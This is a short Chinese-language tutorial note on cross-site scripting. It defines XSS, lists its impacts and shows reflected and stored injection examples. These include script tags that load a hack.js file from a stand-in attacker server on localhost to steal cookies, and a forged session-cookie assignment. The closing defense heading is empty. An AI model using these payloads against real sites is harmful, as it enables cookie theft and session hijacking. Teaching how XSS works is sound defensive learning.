# XSS
定义
XSS (Cross Site Scripting),跨站脚本攻击,因为缩写和 CSS 重叠,所以只能叫 XSS。 跨站脚本攻击是指通过存在安全漏洞的 Web 网站注册用户的浏览器内运行非法的非本站点 HTML 标签或 JavaScript 进行的一种攻击。
跨站脚本攻击有可能造成以下影响:
- 利用虚假输入表单骗取用户个人信息
- 利用脚本窃取用户的 Cookie 值,被害者在不知情的情况下,帮助攻击者发送恶意请求
- 显示伪造的文章或图片
攻击类型
- 反射型 - url 参数直接注入
// 普通 http://localhost:3000/?from=china // alert 尝试 http://localhost:3000/?from=<script>alert(1)</script> // 获取 Cookie http://localhost:3000/?from=<script src="http://localhost:4000/hack.js"></script> // 短域名伪造 https://dwz.cn/ // 伪造cookie入侵 chrome document.cookie="session=eyJ1c2VybmFtZSI6Imxhb3dhbmciLCJfZXhwaXJlIjoxNTUzNTY1MDAxODYxLCJfbWF4QWdlIjo4NjQwMDAwMH0="
1
2
3
4
5
6
7
8
9
10
11
12
13
14- 存储型 - 存储到 DB 后读取时注入
// 评论 <script>alert(1)</script> // 跨站脚本注入 我来了<script src="http://localhost:4000/hack.js"></script>
1
2
3
4
5危害(Scripting 能干啥 就能干啥)
- 获取页面数据
- 获取 Cookies
- 劫持前端逻辑
- 发送请求
- 偷取网站的任意数据
- 偷取用户的资料
- 偷取用户的秘密和登录态
- 欺骗用户
防御